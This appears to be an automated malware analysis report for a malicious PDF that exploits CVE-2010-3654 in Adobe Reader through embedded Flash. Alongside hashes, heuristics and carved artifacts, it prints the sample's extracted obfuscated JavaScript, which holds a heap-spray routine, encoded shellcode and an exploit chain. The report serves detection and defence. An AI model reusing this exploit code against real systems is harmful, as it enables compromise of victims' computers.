Malicious PDF — malware analysis report

Static analysis result for SHA-256 a843c6199384ddcd…

MALICIOUS

PDF

3.26 MB Created: 2010-11-12 16:05:24 +08:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-07
MD5: 01ac4b01ed5ff170097c0e10994a9cd7 SHA-1: 6c9d14d843f642592a138ed410043465516bd169 SHA-256: a843c6199384ddcdf6220535df7c1f77f41b1a0310d81af8739f290e7bd4d9bd
222 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains an embedded Flash RichMedia object that exploits CVE-2010-3654 in Adobe Reader. This exploit is designed to download and execute a secondary payload, indicated by the presence of JavaScript and embedded PDF files. The JavaScript code appears to be obfuscated but is intended to facilitate the execution of the exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 0.8026

Heuristics 10

  • Adobe Reader authplay SWF exploit in PDF — CVE-2010-3654 critical CVE likely CVE_2010_3654_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an ActionScript 3 SWF containing DoABC/SymbolClass code with URLRequest or StagePlayer/ByteArray/loadBytes markers, and PDF-side shellcode heap-spray staging. This is the static delivery shape associated with CVE-2010-3654 Adobe Reader/Acrobat authplay Flash handling.
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 6

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj-001_000.js pdf-javascript-stream PDF /JS object -1 at offset 0x397 2711 bytes
SHA-256: acf34747b223fb7e8846ac29cb6671d11bd1996e1e4f668a0a38c51c0b259087
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var ss;//ahlfah

for(i=0;i<18000;i++)

ss = ss+0x70;

function rep(str)
{
	var sc='';
	for(var i=2;i<str["\x6c\x65\x6e\x67\x74\x68"];i+=6) 
	sc+="\x25\x75"+str["\x73\x75\x62\x73\x74\x72"](i,4);
	return sc;
}

var une = unescape;

var sc = "48c8d94874d948f42448eeba48dee04829dc485fc9483ab1485731488314481c0148243c485a0748dcde4859ee48dcda48e0ee48ef8148842e48e95548e0de48dcde4896654857d248fc9848b255486be648fc8848d665489ee64895f6488d2d4895654857e248ce9a48dfa648b61b48aa5548e3ce48ef2b48a92748719f4825ed4807ed485ee148e4ce48941c481dd648ed254806dd480bae48e72f4895f148823948be6548dffa48863348d055486ba548c080483ded48d85548e36548771b4802b748ef6248633548d81d48e08448238d481cb948dbe548139b488357487912488e8c4897114823da481c99488b21487916489cb448e08648dcce481fee48d4a9481fbc48288948a76748b626486dee482899481fbe48d4a9489711482326481c99488b21486b1e48d09148a765481c264842e648ec5e48a00f482b3c48b711483426481faf4823214885f848cc24482aba484d7148e84248aa04487b434803a348bc0848dcda48dddb48dcdf48e72a48dcdd48e3ca48dcde";
sc = une(rep(sc));

var p = unescape;
var len = "\x6c\x65\x6e\x67\x74\x68";
var s2 = "\x73\x75\x62\x73\x74\x72\x69\x6e\x67";
var s3 = "\x73\x75\x62\x73\x74\x72";
function a(__){var _='';for(var ___=0;___<__[len];___+=4) _+='%'+'u'+__[s3](___,4);return _;}
function AppendLoop(ss,len)   
{   
	for(slen=0;slen<len;)
	{
      ss +=ss;
	  slen = ss.length;
	}
	return ss;
} 
function s()
{
c=p(a("58585858"));
c = AppendLoop(c,65508);
b = c[s2](0,(0x5858-0x24)/2);
b += p(a("585858582fe10700deadbeefb00bface5868585849190700cccccccc48ef0700156f0700cccccccc90840700908407009084070090840700908407009084070090330700908407000c0c0c0c9084070090840700908407009084070090840700908407009084070090840700159907000124000172f707000104000115bb070010000000154d070015bb070003007ffe7fb2070015bb070000110001a8ac070015bb070001000001a8ac070072f707000011000152e207005c540700ffffffff0100000100000000010400011000000000400000d731070015bb0700905a9054154d0700a722070015bb0700eb5a5815154d0700a722070015bb07001a8b1889154d0700a722070015bb0700c0838304154d0700a722070015bb070004c2fb81154d0700a722070015bb070058585858154d0700a722070015bb0700ee7505eb154d0700a722070015bb0700e6e8ffff154d0700a722070015bb070090ff9090154d0700a722070015bb070090909090154d0700a722070015bb070090909090154d0700a722070015bb0700ffff90ff154d0700d7310700112f0700"));
b += sc;
b += c;
d = b[s2](0,0x10000/2);
e = c[s2](0,0x8000-(0x1020-0x08)/2);
d = AppendLoop(d,0x80000);
_3 = d[s2](0,0x80000-(0x1020-0x08)/2);
_4= new Array();
_5 =    new Array();
for(i=0;i<0x300;i=i+1)
for(j=0;j<16;j++)
 _5[i*16+j]=e+"y";

for(i=0;i<0x300;i=i+1)
for(j=0;j<15;j++)
 _5[i*16+j]="t";


for(i=0;i<0x1F0;i=i+1)	_4[i]				=_3		+ "s";
}
s();
objstm_0027_00.bin pdf-objstm-decoded PDF /ObjStm 27 0 obj (inflated) 1170 bytes
SHA-256: 667b2c75ccf7ac530ab7ab1335ed88701c878c9bd33ce7626a853b18be32e7d1
polyglot_child_pdf_off00044069.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x44069 3144517 bytes
SHA-256: 041e1e156dcdb4f61c24eea300070b6439bf59af3b74fa794087e7cd256f781c
polyglot_child_pdf_off000444f9.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x444F9 3143349 bytes
SHA-256: 277c37fa6de470ead90fc226bf6f728a16fa2c3a226017f5121c4c37aa4eda45

Open this report in the interactive analyzer, or submit your own file for analysis.